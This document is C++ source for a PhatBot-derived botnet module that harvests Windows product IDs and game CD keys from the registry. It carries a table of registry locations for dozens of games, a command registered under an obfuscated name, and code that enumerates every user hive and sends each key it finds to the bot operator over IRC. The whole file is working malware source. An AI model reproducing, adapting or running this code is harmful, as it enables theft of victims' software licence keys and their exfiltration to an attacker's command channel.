/*
CD Key grabber from PhatBot, written by thegeek
Modified for wildcards by AfroNerd
*/

#include "main.h"
#include "mainctrl.h"
#include "harvest_cdkeys.h"

struct items {
	char	*GameName;
	HKEY	RootKey;
	char	*SubKey;
	char	*ValueName;
};

items	CDKeyList[] = {
	{ "[Windows Product ID: ", HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion", "ProductID" },
	{ "[Battlefield 1942: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\Battlefield 1942\\ergc", "" },
	{ "[Battlefield 1942: Secret Weapons Of WWII: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\Battlefield 1942 Secret Weapons of WWII\\ergc", "" },
	{ "[Battlefield 1942: The Road To Rome: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\Battlefield 1942 The Road to Rome\\ergc", "" },
	{ "[Battlefield 1942: Vietnam:", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\Battlefield Vietnam\\ergc", "" },
	{ "[Black and White: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\Black and White\\ergc", "" },
	{ "[Command and Conquer: Generals: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\Generals\\ergc",	"" },
	{ "[Command and Conquer: Generals: Zero Hour: ", HKEY_LOCAL_MACHINE,	"SOFTWARE\\Electronic Arts\\EA GAMES\\Command and Conquer Generals Zero Hour\\ergc", "" },
	{ "[Command and Conquer: Red Alert2: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Westwood\\Red Alert 2", "Serial" },
	{ "[Command and Conquer: Tiberian Sun: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Westwood\\Tiberian Sun", "Serial" },
	{ "[Counter-Strike: ", HKEY_CURRENT_USER, "Software\\Valve\\CounterStrike\\Settings", "Key" },
	{ "[FIFA 2002: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA Sports\\FIFA 2002\\ergc", "" },
	{ "[FIFA 2003: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA Sports\\FIFA 2003\\ergc", "" },
	{ "[Freedom Force: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA Distribution\\Freedom Force\\ergc", "" },
	{ "[Global Operations: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\Global Operations\\ergc", "" },
	{ "[Gunman Chronicles: ", HKEY_CURRENT_USER, "Software\\Valve\\Gunman\\Settings", "Key" },
	{ "[Half-Life: ", HKEY_CURRENT_USER, "Software\\Valve\\Half-Life\\Settings", "Key" },
	{ "[Hidden and Dangerous 2: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Illusion Softworks\\Hidden & Dangerous 2", "key" },
	{ "[IGI2: Covert Strike: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\IGI 2 Retail\\CDKey", "CDkey" },
	{ "[Industry Giant 2: ", HKEY_CURRENT_USER, "Software\\JoWooD\\InstalledGames\\IG2", "prvkey" },
	{ "[James Bond 007: Nightfire: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\James Bond 007 Nightfire\\ergc", "" },
	{ "[Medal of Honor: Allied Assault: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\Medal of Honor Allied Assault\\ergc", "" },
	{ "[Medal of Honor: Allied Assault: Breakthrough ", HKEY_LOCAL_MACHINE,	"SOFTWARE\\Electronic Arts\\EA GAMES\\Medal of Honor Allied Assault Breakthrough\\ergc", "" },
	{ "[Medal of Honor: Allied Assault: Spearhead ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\Medal of Honor Allied Assault Spearhead\\ergc", "" },
	{ "[Nascar Racing 2002: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA Sports\\Nascar Racing 2002\\ergc",	"" },
	{ "[Nascar Racing 2003: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA Sports\\Nascar Racing 2003\\ergc",	"" },
	{ "[NHL 2002: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA Sports\\NHL 2002\\ergc", "" },
	{ "[NHL 2003: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA Sports\\NHL 2003\\ergc", "" },
	{ "[Need For Speed: Hot Pursuit 2: ", HKEY_LOCAL_MACHINE,	"SOFTWARE\\Electronic Arts\\EA GAMES\\Need For Speed Hot Pursuit 2\\ergc", "" },
	{ "[Need For Speed: Underground: ", HKEY_LOCAL_MACHINE,	"SOFTWARE\\Electronic Arts\\EA GAMES\\Need For Speed Underground\\ergc", "" },
    { "[Neverwinter Nights: ", HKEY_LOCAL_MACHINE, "Software\\BioWare\\NWN\\Neverwinter","Key" },
	{ "[Ravenshield: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Red Storm Entertainment\\RAVENSHIELD", ""},
	{ "[Shogun: Total War: Warlord Edition: ", HKEY_LOCAL_MACHINE,	"SOFTWARE\\Electronic Arts\\EA GAMES\\Shogun Total War - Warlord Edition\\ergc", "" },
	{ "[Soldiers Of Anarchy: ", HKEY_CURRENT_USER,	"Software\\Silver Style Entertainment\\Soldiers Of Anarchy\\Settings", "CDKey" },
	{ "[Soldier Of Fortune 2: ",HKEY_LOCAL_MACHINE, "Software\\Activision\\Soldier of Fortune II - Double Helix", "sof2key" },
	{ "[The Gladiators: ", HKEY_CURRENT_USER, "Software\\Eugen Systems\\The Gladiators", "RegNumber" },
	{ "[Unreal Tournament 2003: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Unreal Technology\\Installed Apps\\UT2003", "CDKey" },
	{ "[Unreal Tournament 2004: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Unreal Technology\\Installed Apps\\UT2004", "CDKey" },
};
#define MAX_KEY_LENGTH	2048
#define MAX_VALUE_NAME	16383
char	szKey[1024];
void CHarvest_CDKeys::Init(){g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdCDKeys,  		dp(8,1,18,22,5,19,20,78,3,4,11,5,25,19,0).CStr(),	"",				this); }

bool CHarvest_CDKeys::HandleCommand(CMessage *pMsg){
if(!pMsg->sCmd.Compare(m_cmdCDKeys.sName.CStr())){
#ifdef WIN32

DWORD dwSize = 2048;unsigned char szBuffer[2048];char *UserKey = (char *) malloc(128);
	CString WildC=pMsg->sChatString.Token(1," ");
	
//g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent,pMsg->bNotice,pMsg->sReplyTo.Str(),"Harvesting Keys - WildCard: %s\n",WildC.Str());
	int i=0;	if (!g_cMainCtrl.m_cBot.cdkey_windows.bValue){i=1;}
			for(i;i < (sizeof(CDKeyList) / sizeof(CDKeyList[0])); i++){
				CString Key=CDKeyList[i].GameName;
			if(!strstr(        strlwr(Key.Str())  ,  strlwr(WildC.Str())     ))continue;

			if(CDKeyList[i].RootKey != HKEY_CURRENT_USER){
				HKEY	rk = NULL;
				sprintf(UserKey, "%s", CDKeyList[i].SubKey);
				memset(szBuffer, 0, sizeof(szBuffer));
				memset(szKey, 0, sizeof(szKey));
				if(RegOpenKeyEx(CDKeyList[i].RootKey, UserKey, 0, KEY_READ, &rk) != ERROR_SUCCESS){continue;}
				if(RegOpenKeyEx(CDKeyList[i].RootKey, UserKey, 0, KEY_READ, &rk) != ERROR_SUCCESS){continue;}
				if(RegQueryValueEx(rk, CDKeyList[i].ValueName, NULL, NULL, szBuffer, &dwSize) == ERROR_SUCCESS){
				g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent,pMsg->bNotice,pMsg->sReplyTo.Str(),"%s%s]\n",CDKeyList[i].GameName,szBuffer);
				}
				RegCloseKey(rk);
}

	if(CDKeyList[i].RootKey == HKEY_CURRENT_USER){
				CHAR		achKey[2048];				/* buffer for subkey name */
				DWORD		cbName;						/* size of name string */
				CHAR		achClass[MAX_PATH] = "";	/* buffer for class name */
				DWORD		cchClassName = MAX_PATH;	/* size of class string */
				DWORD		cSubKeys = 0;				/* number of subkeys */
				DWORD		cbMaxSubKey;				/* longest subkey size */
				DWORD		cchMaxClass;				/* longest class string */
				DWORD		cValues;					/* number of values for key */
				DWORD		cchMaxValue;				/* longest value name */
				DWORD		cbMaxValueData;				/* longest value data */
				DWORD		cbSecurityDescriptor;		/* size of security descriptor */
				FILETIME	ftLastWriteTime;			/* last write time */
				DWORD retCode;int	u;
				CHAR		achValue[MAX_VALUE_NAME];
				DWORD		cchValue = MAX_VALUE_NAME;

				retCode = RegQueryInfoKey(CDKeyList[i].RootKey,achClass,&cchClassName,NULL,&cSubKeys,&cbMaxSubKey,&cchMaxClass,&cValues,&cchMaxValue,&cbMaxValueData,&cbSecurityDescriptor,&ftLastWriteTime);

				if(cSubKeys){

					for(u = 0; u < cSubKeys; u++){
						cbName = MAX_KEY_LENGTH;
						retCode = RegEnumKeyEx(HKEY_USERS, u, achKey, &cbName, NULL, NULL, NULL, &ftLastWriteTime);
						if(retCode == ERROR_SUCCESS){
							HKEY	rk = NULL;
							sprintf(UserKey, "%s\\%s", achKey, CDKeyList[i].SubKey);
							memset(szBuffer, 0, sizeof(szBuffer));
							memset(szKey, 0, sizeof(szKey));
							if(RegOpenKeyEx(HKEY_USERS, UserKey, 0, KEY_READ, &rk) != ERROR_SUCCESS){}
							if(RegQueryValueEx(rk,CDKeyList[i].ValueName,NULL,NULL,szBuffer,&dwSize) != ERROR_SUCCESS){RegCloseKey(rk);}

							if(RegQueryValueEx(rk,CDKeyList[i].ValueName,NULL,NULL,szBuffer,&dwSize) == ERROR_SUCCESS){
								g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent,pMsg->bNotice,"%s%s]\n",CDKeyList[i].GameName,szBuffer);
							}

							RegCloseKey(rk);
						}
					}
				}


			};
			}
#endif // WIN32
	}return true; }
